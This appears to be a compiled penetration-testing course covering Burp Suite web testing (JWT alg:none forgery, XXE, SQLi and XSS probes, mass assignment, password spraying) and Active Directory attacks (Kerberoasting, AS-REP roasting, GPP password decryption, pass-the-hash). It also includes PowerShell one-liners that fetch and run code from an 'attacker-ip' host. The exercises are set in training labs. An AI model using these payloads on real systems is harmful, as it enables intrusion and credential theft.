Paste any encoded string → select encoding type → click Decode.

Common encodings:

```
Base64:    dXNlcjppZDoxMjM= → user:id:123
URL:       user%40email.com → user@email.com
HTML:      &lt;script&gt;    → <script>
Hex:       48656c6c6f      → Hello
```

Session cookies are often base64-encoded JSON:

```
# Paste cookie value into Decoder → Base64 Decode
# Example result:
{"user":"admin","role":"user","exp":1700000000}
```

Chain decoding: URL Decode → then Base64 Decode if the value is double-encoded.

Comparer

Use case: compare two responses to find differences based on auth level.

1. In Repeater: send request as admin → right-click response → Send to Comparer
2. Change cookie to low-privilege user → Send → Send to Comparer
3. Comparer tab → select both entries → Compare (Words or Bytes)
4. Highlighted differences show what the admin sees that the regular user does not

JWT Editor Extension

Intercept a request containing a JWT in the `Authorization: Bearer <token>` header.

Switch to the JWT Editor tab in that request.

```
# JWT structure (3 parts, base64-separated by dots):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9  <- header
.eyJ1c2VyIjoidXNlcisiInJvbGUiOiJ1c2VyIn0  <- payload
.SomeSignatureHere                      <- signature
```

Alg:none attack: 1. In JWT Editor → Header → change `"alg":"HS256"` to `"alg":"none"` 2. Payload → change `"role":"user"` to `"role":"admin"` 3. Remove signature (delete everything after the second dot) 4. Send — if server accepts it, JWT verification is broken

Exercise

1. Log into Juice Shop — find a JWT in the `Authorization` header (check Burp History)
 2. Copy the JWT value into Decoder → Base64 Decode each part
 3. Identify all claims in the payload (user ID, role, expiry)
 4. Install JWT Editor if not done — open the request in Repeater → JWT Editor tab
 5. Attempt `alg:none` attack — change role to admin — does the server accept it?
 6. Use Comparer: send one response as admin and one as a regular user — what fields differ?
-

Source: `06-burp-http-security-testing-workflow/05-intruder-throttling-awareness.md`

Intruder: Automated Fuzzing with Rate Limit Awareness

Intruder automates parameter fuzzing. Burp Community is throttled to ~1 request/second — use it for targeted tests, not mass brute force.

Send to Intruder

From HTTP History or Repeater: `Ctrl+I` or right-click → Send to Intruder.

Mark Payload Positions

In the Positions tab, clear all auto-selected positions (Clear §).
Highlight the value you want to fuzz → click “Add §”.

```
# Example: username enumeration
POST /login HTTP/1.1
Host: localhost

username=§admin§&password=wrongpass
```

Attack Types

Type	Use case
Sniper	one parameter, one wordlist
Battering Ram	same value into all parameters simultaneously
Pitchfork	multiple parameters, one wordlist each (paired)
Cluster Bomb	multiple parameters, all combinations (use carefully)

Wordlists

```
# Kali built-in
ls /usr/share/wordlists/
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/dirb/common.txt

# SecLists (install if missing)
sudo apt install seclists
ls /usr/share/seclists/Usernames/
ls /usr/share/seclists/Passwords/
```

Reading Intruder Results

Sort by **Length** column — different response length = different server behavior = valid username or successful guess.
Sort by **Status** — 302 redirect on one attempt = login succeeded.

Faster Alternative: ffuf

Community Burp throttling makes Intruder slow for large lists. Use ffuf for speed:

```
# Username enumeration
ffuf -u http://localhost/login -X POST \
  -d "username=FUZZ&password=wrongpass" \
  -w /usr/share/seclists/Usernames/Names/names.txt \
  -fr "Invalid username" -t 50

# Password spray (known username)
ffuf -u http://localhost/login -X POST \
  -d "username=admin&password=FUZZ" \
  -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -fr "Invalid password" -t 10
```

Exercise

1. In DVWA (security=Low), find the login form
2. Send a login POST to Intruder
3. Mark the `username` parameter as payload position
4. Attack type: Sniper
5. Wordlist: use `/usr/share/seclists/Usernames/Names/names.txt`
6. Start attack — sort by Length — which usernames return a different response?
7. Confirm with ffuf — compare speed

Source: 06-burp-http-security-testing-workflow/06-authentication-and-session-behaviour.md

Authentication and Session Testing

Testing login flows, session tokens, password resets, and MFA with Burp.

Cookie Flags

Intercept the login response — look at `Set-Cookie` header:

```
HTTP/1.1 200 OK
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
```

Flag	Missing = problem
<code>HttpOnly</code>	JavaScript can read the cookie — XSS can steal it
<code>Secure</code>	Cookie sent over HTTP — sniffable
<code>SameSite</code>	CSRF possible without this

Session Fixation

1. Note your session ID before logging in (check cookie in Burp History)
2. Log in — intercept the response
3. Check: did `Set-Cookie` issue a **new** session ID?
4. If the ID is the same before and after login → session fixation vulnerability

Password Reset Flow

Intercept the full reset flow in Burp: 1. Request reset → find the reset token (in URL parameter or response body) 2. Is the token short or numeric? → likely guessable 3. Request two resets quickly → are tokens sequential or similar? 4. Check if the token expires — try reusing it after 10 minutes

Brute Force and Lockout Testing

```
# Test 5 wrong logins manually – does the account lock?
# Test 10 – any CAPTCHA appear?
# Test from two different IPs – is lockout per-IP or per-account?

# Check response for rate limiting headers
HTTP/1.1 429 Too Many Requests
Retry-After: 60
```

MFA Bypass Attempts

Intercept the MFA step (after correct username/password):

```
POST /verify-mfa HTTP/1.1

code=123456
```

Tests: - Remove the `code` parameter entirely → does it pass? - Change `code=000000` → does it accept any value? - Skip the MFA endpoint entirely — go directly to the post-login page URL

Exercise

Complete PortSwigger “Authentication” labs — Apprentice tier (all 6 labs):

<https://portswigger.net/web-security/authentication>

For each lab: capture the relevant request in Burp, test the bypass in Repeater, document what parameter or header was the vulnerability.

Source: [06-burp-http-security-testing-workflow/07-oauth-flow-and-token-intercept.md](#)

OAuth Flow Interception

Intercepting and testing OAuth 2.0 authorization flows with Burp.

What to Look For in HTTP History

Browse an app that uses “Login with Google/GitHub/etc.” with Burp proxy active.

In History, filter by URL — look for these requests in order:

1. GET /oauth/authorize?client_id=xxx&redirect_uri=https://app.com/callback&state=yyy
2. GET https://app.com/callback?code=AUTH_CODE&state=yyy
3. POST /oauth/token (code exchanged for access token – may be server-side, invisible)

state Parameter — CSRF Test

```
# Original
GET /oauth/authorize?client_id=xxx&redirect_uri=https://app.com/callback&state=random123

# Test: remove state parameter entirely
GET /oauth/authorize?client_id=xxx&redirect_uri=https://app.com/callback
```

If the flow completes without `state` → CSRF on OAuth login is possible.

redirect_uri Manipulation

```
# Original
GET /oauth/authorize?client_id=xxx&redirect_uri=https://app.com/callback

# Test: change to attacker-controlled domain
GET /oauth/authorize?client_id=xxx&redirect_uri=https://attacker.com/steal

# Test: add path traversal
GET /oauth/authorize?client_id=xxx&redirect_uri=https://app.com/callback/../evil

# Test: add open redirect
GET /oauth/authorize?client_id=xxx&redirect_uri=https://app.com/redirect?url=https://evil.com
```

If the server redirects to your modified URI → the auth code is leaked.

PKCE Fields

In the request, look for: - `code_challenge` — hash of the verifier - `code_verifier` — sent during token exchange

If PKCE is absent on a public client → auth code interception is possible.

Token Scope Check

After token exchange, the access token may be a JWT.

Decode it in Decoder (base64) or JWT Editor:

```
{"sub":"user123","scope":"read","role":"user","exp":1700000000}
```

- Is scope minimal or does it include write/admin?
- Try using the token on endpoints outside the declared scope

Exercise

Complete all 4 Apprentice OAuth labs on PortSwigger:

<https://portswigger.net/web-security/oauth>

In Burp during each lab: annotate each request in History (right-click → Add comment) to label its role in the flow — AS-REQ, token exchange, callback, etc.

Source: `06-burp-http-security-testing-workflow/08-json-and-header-manipulation-apis.md`

JSON, Header Manipulation, and API Testing

API endpoints respond differently to unexpected inputs. Test them systematically in Repeater.

Content-Type Manipulation

```
# Original
POST /api/data HTTP/1.1
Content-Type: application/json

{"name":"test"}

# Test 1: switch to XML — does the server accept it? XXE possible?
Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>

# Test 2: remove Content-Type header entirely — does it still work?
# Test 3: add charset
Content-Type: application/json; charset=utf-8
```

Mass Assignment — Extra JSON Fields

```
POST /api/users/register HTTP/1.1
Content-Type: application/json

# Original
{"username":"test","password":"pass123"}

# Test: add privilege fields
{"username":"test","password":"pass123","isAdmin":true,"role":"admin","verified":true}
```

If the server returns a 200 and the new account has admin access → mass assignment confirmed.

HTTP Method Switching

```
# Original
GET /api/user/5 HTTP/1.1

# Test these methods in Repeater
DELETE /api/user/5 HTTP/1.1
PUT /api/user/5 HTTP/1.1
PATCH /api/user/5 HTTP/1.1
POST /api/user/5 HTTP/1.1
```

Header Injection for Access Bypass

```
# Try these headers on restricted endpoints
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1
```

GraphQL Introspection

If you find a `/graphql` endpoint:

```
POST /graphql HTTP/1.1
Content-Type: application/json

{"query":"{__schema{types{name fields{name}}}}"}"
```

Response lists all types and fields — full schema disclosure.

Exercise

1. Browse Juice Shop with Burp proxy active
2. Find `/api/Users` in HTTP History (log in first — browse user profile)
3. Send to Repeater — try `GET /api/Users` — what do you see?
4. Try `GET /api/Users/1`, `GET /api/Users/2` — IDOR?
5. Find the registration endpoint — try adding `"isAdmin": true` to the JSON body
6. Check if `/graphql` exists on Juice Shop — run the introspection query

Source: `06-burp-http-security-testing-workflow/09-integration-burp-review-pipeline.md`

Full Burp Review Pipeline

End-to-end testing workflow on DVWA. Run this pipeline on every new target.

Target: DVWA (Security Level = Low)

```
docker run -d -p 80:80 vulnerables/web-dvwa
# Browse to http://localhost — login admin/password — set security to Low
```

Step 1 — Populate History

Set Intercept OFF. Browse every page in DVWA: - Login, logout, login again - SQL Injection page - File Upload page - Command Injection page - XSS (Reflected and Stored) pages - CSRF page - Brute Force page

Goal: every endpoint appears in HTTP History.

Step 2 — Review History

Filter: "Show only in-scope items" (scope = `localhost`).

Look for: - POST requests with form bodies - Requests with numeric IDs in URL or params - Requests with session cookies - Any `token` or `csrf` parameters

Step 3 — Auth Testing in Repeater

Send the login POST to Repeater.

Test: delete Cookie header → send → 200 or 302?

Test: change username parameter → different user data returned?

Step 4 — Injection Testing in Repeater

Find the SQL Injection page request in History → send to Repeater.

```
# In the id parameter, test:
id=1
id=1'
id=1' OR '1'='1
id=1 AND SLEEP(5) --
```

Step 5 — Decode Cookies

Copy session cookie value → Decoder tab → Base64 Decode → what's inside?

Is the user role or ID embedded in the cookie?

Step 6 — JWT Attack (Juice Shop)

Switch target to Juice Shop. Log in → find `Authorization: Bearer <token>` in History.
JWT Editor tab → attempt `alg:none` attack → change role to admin.

Step 7 — Param Miner

On a key DVWA endpoint (e.g., the SQL Injection page): right-click → Extensions → Param Miner → Guess params.
Wait for results — any hidden parameters discovered?

Findings Table

Endpoint	Vulnerability	Payload	Result
/dvwa/vulnerabilities/sqli/	SQL Injection	<code>1' OR '1'='1</code>	All users returned
/login.php	Auth	removed Cookie	Redirected to login (protected)
/api/Users/2	IDOR	changed user ID	Other user's email returned

Source: `06-burp-http-security-testing-workflow/10-question-checklist-before-advancing-requests.md`

Pre-Send Checklist for Every Interesting Request

Run this checklist on every new endpoint before moving on. Print it and use it during tests.

The Checklist

Authentication - ☐ Remove the `Cookie` / `Authorization` header — does the server return 401/403, or still 200? - ☐ Replace the session with an expired or invalid token — does it reject?

Access Control / IDOR - ☐ Is there a numeric user ID, object ID, or record ID in the URL or body? - ☐ Change it to 1, 2, 3, 0, -1, another user's known ID — does it return different data? - ☐ Is the same object accessible with a lower-privilege account's session?

CSRF - ☐ Is there a `csrf_token`, `_token`, or `state` parameter in the request? - ☐ Remove it — does the request still succeed? - ☐ Is the `SameSite` flag set on the session cookie?

Hidden Parameters - ☐ Right-click → Extensions → Param Miner → Guess params - ☐ Try adding common params:
`debug=true`, `admin=1`, `test=1`, `source=1`

Injection - ☐ Is any parameter value reflected in the response? (`<h1>hello</h1>` in output → XSS candidate) - ☐ Is any parameter used to fetch or filter data? (`id=1` → SQL error?) - ☐ Does the parameter appear to build a file path? (`file=../etc/passwd` → path traversal?)

Content - ☐ Switch `Content-Type: application/json` to `application/xml` — different behavior? - ☐ Add extra JSON fields (`"isAdmin":true`) — do they get stored or reflected? - ☐ Switch HTTP method: GET → POST → PUT → DELETE

Headers - ☐ Try `X-Forwarded-For: 127.0.0.1` — does it bypass an IP restriction? - ☐ Try `X-Original-URL: /admin` — does it change routing?

Quick Reference — Common Test Payloads

```
SQLi probe:      ' OR 1' OR '1'='1 OR 1 AND SLEEP(5)--
XSS probe:       <script>alert(1)</script> OR "><img src=x onerror=alert(1)>
Path traversal:  ../../../../etc/passwd OR ..%2F..%2Fetc%2Fpasswd
IDOR:           change id=5 to id=1,2,3,0,-1,9999
CSRF test:      remove token parameter, resend
Auth test:      remove Cookie header, resend
```

Apply every applicable check from this list before marking an endpoint as reviewed.

Phase — 07-windows-active-directory-enterprise

Directory: 07-windows-active-directory-enterprise/

Source: 07-windows-active-directory-enterprise/01-resources-and-environment.md

Windows and Active Directory: Resources and Lab Setup

Set up the lab and install tools before working through the rest of this phase.

Platforms

- TryHackMe “Active Directory Basics” room (free): <https://tryhackme.com/room/activedirectorybasics>
- HTB Academy “Introduction to Active Directory” module (free): <https://academy.hackthebox.com/module/details/74>
- TryHackMe “Attacktive Directory” room (guided attack lab): <https://tryhackme.com/room/attacktivedirectory>

Local Lab Option

Download Windows Server 2019 eval (free, 180-day trial):

<https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019>

Minimum setup: one Windows Server 2019 VM promoted to Domain Controller + one Windows 10 VM joined to the domain.

Run both in VirtualBox or VMware on a host-only network.

Install Tools on Kali

```
sudo apt update
sudo apt install -y bloodhound neo4j crackmapexec smbclient enum4linux ldap-utils nmap

# NetExec (modern crackmapexec replacement)
pip3 install netexec

# Impacket suite
pip3 install impacket

# Kerbrute
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /usr/local/bin/kerbrute
chmod +x /usr/local/bin/kerbrute
```

PowerShell Tools (on Windows VM)

```
# Download PowerView
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Or download to disk
Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -OutFile C:\Tools\PowerView.ps1
```

Exercise

1. Complete TryHackMe “Active Directory Basics” room in full
 2. Install all Kali tools above — verify each with `tool --help` or `tool -h`
 3. Optional: build the local two-VM lab and confirm domain join works
-

Windows Operating Environment Basics

Key filesystem paths, CMD commands, and PowerShell for security work.

Security-Relevant Directory Structure

```
C:\Windows\System32\          - OS binaries, DLLs, executables
C:\Windows\System32\config\   - registry hives (SAM, SYSTEM, SECURITY)
C:\Windows\Repair\           - backup SAM file (readable by admin)
C:\Windows\System32\drivers\etc\hosts - local DNS override
C:\Users\<username>\         - user profiles, AppData, Desktop
C:\Users\<username>\AppData\Roaming\ - application data, browser profiles
C:\ProgramData\              - all-user application data (often writable)
C:\Program Files\             - installed applications (64-bit)
C:\Program Files (x86)\       - installed applications (32-bit)
C:\Temp\ or C:\Windows\Temp\ - temp files, often world-writable
```

CMD Essentials

```
dir /a                        # list all files including hidden
dir /s /b *.txt               # recursive search for .txt files
type file.txt                 # print file contents
findstr /i "password" *.txt   # case-insensitive string search in files
findstr /si "password" *.xml *.config *.ini # search multiple types
where python                  # find executable location
set                            # print all environment variables
echo %USERPROFILE%            # current user's home directory
echo %PATH%                   # executable search paths
ipconfig /all                  # network config with MAC and DNS
```

PowerShell Equivalents

```
Get-ChildItem -Path C:\ -Hidden -Recurse -ErrorAction SilentlyContinue
Get-Content C:\path\to\file.txt
Select-String -Path C:\Users -Recurse -Pattern "password" -Include *.txt,*.xml,*.config
Get-ChildItem Env:             # all environment variables
$env:USERPROFILE               # user profile path
```

Security-Relevant Files to Check

```
# Local DNS overrides (may redirect traffic)
type C:\Windows\System32\drivers\etc\hosts

# Backup SAM (credential hashes if accessible)
dir C:\Windows\Repair\
dir C:\Windows\System32\config\RegBack\

# Unattended install files (may contain plaintext credentials)
dir /s /b C:\unattend.xml C:\sysprep.inf C:\sysprep.xml 2>nul
```

Exercise

Complete TryHackMe “Windows Fundamentals 1”, “Windows Fundamentals 2”, and “Windows Fundamentals 3” rooms:

<https://tryhackme.com/room/windowsfundamentals1xbx>

<https://tryhackme.com/room/windowsfundamentals2x0x>

<https://tryhackme.com/room/windowsfundamentals3xzx>

On your Windows VM: run each command block above, note the output, and find at least one file that contains a string matching “password” using findstr.

Source: 07-windows-active-directory-enterprise/03-local-security-surfaces-logging.md

Local Security Surfaces and Logging

User enumeration, privilege checking, and reading Windows event logs.

User and Group Enumeration

```
# CMD
net user                # list all local users
net user administrator  # details on specific user
net localgroup           # list all local groups
net localgroup administrators  # members of Administrators group
```

```
# PowerShell
Get-LocalUser | Select Name, Enabled, LastLogon
Get-LocalGroupMember -Group "Administrators"
Get-LocalGroupMember -Group "Remote Desktop Users"
```

Current User Privileges

```
whoami                # current username
whoami /all            # full info: user, groups, privileges
whoami /priv           # privileges only
whoami /groups         # group memberships
```

Key privileges to note: - SeImpersonatePrivilege — Potato exploits possible - SeBackupPrivilege — read any file - SeDebugPrivilege — access other processes’ memory - SeTakeOwnershipPrivilege — take ownership of any object

Windows Defender Status

```
Get-MpComputerStatus | Select AntivirusEnabled, RealTimeProtectionEnabled, AMServiceEnabled
Get-MpComputerStatus | Select AMRunningMode, QuickScanAge
```

Event Logs — Key Event IDs

Event ID	Meaning
4624	Successful logon
4625	Failed logon
4647	User-initiated logoff
4720	User account created
4726	User account deleted
4732	User added to a security-enabled local group
4672	Special privileges assigned to new logon

Query Event Logs with PowerShell

```
# Last 20 security events
Get-WinEvent -LogName Security -MaxEvents 20 | Select TimeCreated, Id, Message

# Filter for specific event ID
Get-WinEvent -LogName Security | Where-Object Id -eq 4625 | Select -First 10 TimeCreated, Message

# Failed logins in last 24 hours
Get-WinEvent -LogName Security -FilterXPath "[System[EventID=4625 and TimeCreated[timediff(@SystemTime) <= 86400000]]]" | Select TimeCreated, Message
```

Exercise

Complete TryHackMe “Windows Event Logs” room:

<https://tryhackme.com/room/windowseventlogs>

On your Windows VM: run `whoami /all` and document every privilege listed. Query the Security log for any 4625 events — were there any failed logins?

Source: 07-windows-active-directory-enterprise/04-powershell-triage-literacy.md

PowerShell for Security Enumeration

Practical PowerShell commands for enumerating a Windows system during a pentest.

Processes

```
# Top CPU consumers
Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 Name, CPU, Id, Path

# Find unusual process paths (not in System32 or Program Files)
Get-Process | Where-Object {$_.Path -notlike "*System32*" -and $_.Path -notlike "*Program Files*"} | S
elect Name, Id, Path

# Process with open network connections
Get-NetTCPConnection | Where-Object State -eq "Established" | Select LocalAddress, LocalPort, RemoteAd
dress, RemotePort, OwningProcess
```

Services

```
# All running services
Get-Service | Where-Object Status -eq "Running" | Select Name, DisplayName

# Services with non-standard binary paths (potential hijack)
Get-WmiObject Win32_Service | Select Name, PathName, StartMode | Where-Object PathName -notlike "*Syst
em32*"
```

Scheduled Tasks

```
# Ready/enabled tasks
Get-ScheduledTask | Where-Object State -eq "Ready" | Select TaskName, TaskPath

# Task details including executable
Get-ScheduledTask | Where-Object State -eq "Ready" | Select TaskName, @{n="Action";e={$_.Actions.Execu
te}}
```


Network State

```
Get-NetIPAddress | Select InterfaceAlias, IPAddress, PrefixLength
Get-NetTCPConnection | Where-Object State -eq "Listen" | Select LocalAddress, LocalPort, OwningProcess
Get-NetRoute | Select DestinationPrefix, NextHop, InterfaceAlias
```

File System Search for Credentials

```
# Search for password strings in text-based files
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.config,*.xml,*.ini,*.json -ErrorAction SilentlyContinue |
    Select-String -Pattern "password|passwd|pwd|secret|api_key" |
    Select Path, LineNumber, Line

# Find recently modified files
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue |
    Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} |
    Select FullName, LastWriteTime | Sort LastWriteTime -Descending | Select -First 20
```

Download Files (for post-exploitation tools)

```
# Download a file
Invoke-WebRequest -Uri http://attacker-ip/tool.exe -OutFile C:\Temp\tool.exe

# One-liner in-memory execution (bypasses disk write)
IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip/script.ps1')
```

Exercise

On your Windows VM: 1. Run `Get-Process | Sort CPU -Descending | Select -First 10` — list what you see 2. Run the service binary path query — any services with unusual paths? 3. Run the file search for passwords — did it find anything in `C:\Users`? 4. Run `Get-NetTCPConnection | Where State -eq Listen` — document all listening ports

Source: `07-windows-active-directory-enterprise/05-active-directory-structure-gpo-overview.md`

Active Directory Structure and GPO

Core AD components and how to enumerate them from both Windows and Linux.

Key Components

Component	Description
Domain	Logical boundary — <code>corp.local</code>
Domain Controller (DC)	Server that runs AD DS, holds the directory database
Forest	One or more domains with a trust relationship
Organizational Unit (OU)	Container for grouping users, computers, policies
GPO	Group Policy Object — applied to OUs to configure settings
Site	Physical network location grouping

Enumerate from Domain-Joined Windows (CMD)

```
net user /domain          # all domain users
net group /domain          # all domain groups
net group "Domain Admins" /domain # members of Domain Admins
net accounts /domain      # password policy
gpresult /r               # GPOs applied to current user/computer
```

Enumerate with PowerShell (RSAT or PowerView)

```
# Built-in AD module (on DCs or with RSAT installed)
Get-ADDomain
Get-ADUser -Filter * | Select Name, SamAccountName, Enabled, LastLogonDate
Get-ADGroup -Filter * | Select Name, GroupScope
Get-ADGroupMember "Domain Admins" | Select Name, SamAccountName
Get-ADComputer -Filter * | Select Name, OperatingSystem, Enabled

# PowerView (if RSAT not available)
Get-Domain
Get-DomainUser | Select samaccountname, description, memberof
Get-DomainGroupMember "Domain Admins"
```

GPO Enumeration

```
# List all GPOs
Get-GPO -All | Select DisplayName, GpoStatus, CreationTime

# GPOs applied to a specific OU
Get-GPInheritance -Target "OU=Users,DC=corp,DC=local"
```

Key GPOs to inspect: - **Default Domain Policy** — password policy (min length, complexity, lockout) - **Software Restriction / AppLocker** — what's blocked - **Logon Scripts** — may execute commands or scripts on login - **Drive Mappings** — may reveal file server paths

Password Policy

```
Get-ADDefaultDomainPasswordPolicy
# Look for: MinPasswordLength, LockoutThreshold, LockoutDuration
```

```
net accounts /domain
```

Exercise

Complete TryHackMe “Active Directory Basics” room:
<https://tryhackme.com/room/activedirectorybasics>

On your lab DC: run `Get-ADUser -Filter *` and count the users. Run `Get-ADGroupMember "Domain Admins"` — who is listed? Check the password policy — what is the minimum password length?

Source: `07-windows-active-directory-enterprise/06-ldap-queries-and-dns-glue.md`

LDAP Queries and DNS Enumeration

Enumerating AD users, groups, and structure from Linux using LDAP and DNS.

LDAP Anonymous Bind (no credentials)

```
# Test if anonymous bind is allowed
ldapsearch -x -H ldap://DC_IP -b "dc=corp,dc=local"

# If it returns results – anonymous access is enabled
# If it returns "Invalid credentials" or empty – not allowed
```

LDAP with Credentials

```
# Enumerate all users
ldapsearch -x -H ldap://DC_IP \
  -D "user@corp.local" -w 'Password123' \
  -b "dc=corp,dc=local" \
  "(objectClass=user)" sAMAccountName cn mail

# Enumerate all groups
ldapsearch -x -H ldap://DC_IP \
  -D "user@corp.local" -w 'Password123' \
  -b "dc=corp,dc=local" \
  "(objectClass=group)" cn member

# Find users with no preauthentication required (AS-REP roastable)
ldapsearch -x -H ldap://DC_IP \
  -D "user@corp.local" -w 'Password123' \
  -b "dc=corp,dc=local" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName

# Find users with SPN set (Kerberoastable)
ldapsearch -x -H ldap://DC_IP \
  -D "user@corp.local" -w 'Password123' \
  -b "dc=corp,dc=local" \
  "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
```

NetExec LDAP Enumeration

```
# Enumerate users with creds
nxc ldap DC_IP -u user -p 'Password123' --users
nxc ldap DC_IP -u user -p 'Password123' --groups
nxc ldap DC_IP -u user -p 'Password123' --password-not-required # AS-REP roast candidates
nxc ldap DC_IP -u user -p 'Password123' --kerberoasting output.txt
```

DNS Enumeration

```
# Find the DC via DNS SRV record
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local

# Forward lookup of DC
nslookup corp.local DC_IP

# Zone transfer attempt (usually blocked)
dig axfr corp.local @DC_IP

# Enumerate common hostnames
for name in dc dc01 dc1 server fileserver mail; do
  nslookup $name.corp.local DC_IP 2>/dev/null
done
```

nmap LDAP Scripts

```
nmap -p 389,636 --script ldap-search,ldap-rootdse DC_IP
nmap -p 389 --script ldap-brute --script-args ldap.base="dc=corp,dc=local" DC_IP
```

Exercise

On a TryHackMe AD lab (Attacktive Directory room or similar): 1. Run `ldapsearch` with anonymous bind — does it return data? 2. If you have creds, run the user enumeration query — how many users? 3. Run the SPN query — any Kerberoastable accounts? 4. Run `nxc ldap` with `--users` — compare output to `ldapsearch`

Source: [07-windows-active-directory-enterprise/07-kerberos-ntlm-and-adcs-framing.md](#)

Kerberos, NTLM, and ADCS

How authentication works in AD — and the attack surface each protocol creates.

Kerberos Flow

1. Client → KDC (DC): AS-REQ
"I want to authenticate" + username + timestamp encrypted with user's password hash
2. KDC → Client: AS-REP
TGT (Ticket Granting Ticket) encrypted with krbtgt account hash
If user has "no preauthentication" flag: KDC skips step 1 check → AS-REP Roasting
3. Client → KDC: TGS-REQ
"I want to access service X" + TGT + SPN (Service Principal Name)
4. KDC → Client: TGS (service ticket) encrypted with the service account's hash
If service account has SPN set → Kerberoasting: request TGS, crack offline
5. Client → Service: present TGS
Service decrypts with its own hash, grants access

NTLM Flow

1. Client → Server: NEGOTIATE
2. Server → Client: CHALLENGE (random 8-byte nonce)
3. Client → Server: AUTHENTICATE (NTHash of password XOR'd with challenge)

NTLM weaknesses: no KDC needed (works without AD), hash is reusable (Pass-the-Hash), relay attacks possible (NTLM relay).

Key Ports

Port	Protocol
88	Kerberos
389	LDAP
636	LDAPS
445	SMB
5985	WinRM (HTTP)
3389	RDP

Kerbrute — Username Enumeration via Kerberos

```
# Enumerate valid usernames (no credentials needed)
kerbrute userenum --dc DC_IP -d corp.local /usr/share/seclists/Names/Names/names.txt

# Password spray (1 password, many users — avoid lockout)
kerbrute passwordspray --dc DC_IP -d corp.local users.txt 'Password123'
```

AS-REP Roasting

```
# From Linux — find users with preauthentication disabled
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip DC_IP -no-pass -format hashcat

# Crack the hash
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```

ADCS (Active Directory Certificate Services)

ADCS is a CA server that issues certificates. Misconfigured templates allow privilege escalation.

Attack: ESC1–ESC8 vulnerabilities (covered in Phase 13).

Enumerate with: `Certify.exe find /vulnerable` or `certipy find -u user -p pass -dc-ip DC_IP`.

Exercise

Complete TryHackMe “Kerberos” room:

<https://tryhackme.com/room/attackingkerberos>

Run Kerbrute against a TryHackMe AD lab to enumerate valid usernames. Try AS-REP roasting — if any accounts are vulnerable, capture and attempt to crack the hash with hashcat.

Source: `07-windows-active-directory-enterprise/08-smb-winrm-and-sysvol.md`

SMB, WinRM, and SYSVOL Enumeration

Enumerating file shares, remote management access, and Group Policy credential stores.

SMB Enumeration from Linux

```
# List shares — null session (no credentials)
smbclient -L //DC_IP -N

# List shares with credentials
smbclient -L //DC_IP -U user%Password123

# Connect to a specific share
smbclient //DC_IP/SYSVOL -U user%Password123
smbclient //DC_IP/NETLOGON -U user%Password123
smbclient //DC_IP/C$ -U Administrator%Password123 # admin share

# SMBMap — permissions on all shares
smbmap -H DC_IP -u user -p Password123
smbmap -H DC_IP -u '' -p '' # null session
```

nmap SMB Scripts

```
nmap -p 445 --script smb-enum-shares,smb-enum-users,smb-security-mode DC_IP
nmap -p 445 --script smb-vuln-ms17-010 DC_IP # EternalBlue check
```

NetExec SMB Enumeration

```
nxc smb DC_IP -u user -p Password123 --shares
nxc smb DC_IP -u user -p Password123 --sessions    # active sessions on DC
nxc smb DC_IP -u user -p Password123 --users
nxc smb DC_IP -u user -p Password123 --groups
nxc smb DC_IP -u user -p Password123 --pass-pol    # password policy
```

SYSVOL — Group Policy Preferences Credentials

```
# Mount SYSVOL and search for cpassword (stored GPP credentials)
smbclient //DC_IP/SYSVOL -U user%Password123
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
```

```
# Or use find on mounted share
find /mnt/sysvol -name "*.xml" -exec grep -l "cpassword" {} \;
```

```
# Decrypt GPP password (Python)
python3 -c "
import base64
from Crypto.Cipher import AES
key =
b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20
\x9b\x09\xa4\x33\xb6\x6c\x1b'
cpassword = 'PASTE_CPASSWORD_HERE'
# use gpp-decrypt tool instead:
gpp-decrypt PASTE_CPASSWORD_HERE
"

gpp-decrypt PASTE_CPASSWORD_HERE
```

WinRM (Remote Management)

WinRM runs on port 5985 (HTTP) and 5986 (HTTPS).

Membership in “Remote Management Users” or “Administrators” grants access.

```
# Check if WinRM is accessible
nxc winrm DC_IP -u user -p Password123

# Connect with evil-winrm
evil-winrm -i DC_IP -u user -p Password123

# With hash (Pass-the-Hash)
evil-winrm -i DC_IP -u Administrator -H NTLM_HASH_HERE
```

Exercise

On TryHackMe “Attacktive Directory” or a local lab: 1. Run `smbclient -L //DC_IP -N` — are null sessions allowed? 2. With creds: `smbmap -H DC_IP -u user -p pass` — what shares are readable/writable? 3. Connect to SYSVOL — search for XML files containing “cpassword” 4. Check WinRM: `nxc winrm DC_IP -u user -p pass` — does it return (Pwn3d!) ?

Source: 07-windows-active-directory-enterprise/09-enumeration-mindset-signals-before-exploit.md

AD Enumeration Methodology: Signals Before Exploits

Systematic order of operations for enumerating an AD environment. Run this before attempting any exploit.

Phase 1 — Network Recon (No Credentials)

```
# Identify DC and key services
nmap -sV -p 88,389,445,3389,5985,5986,636 DC_IP

# Full port scan if time allows
nmap -sV -p- --min-rate 3000 DC_IP

# SMB null session
smbclient -L //DC_IP -N
smbmap -H DC_IP -u '' -p ''

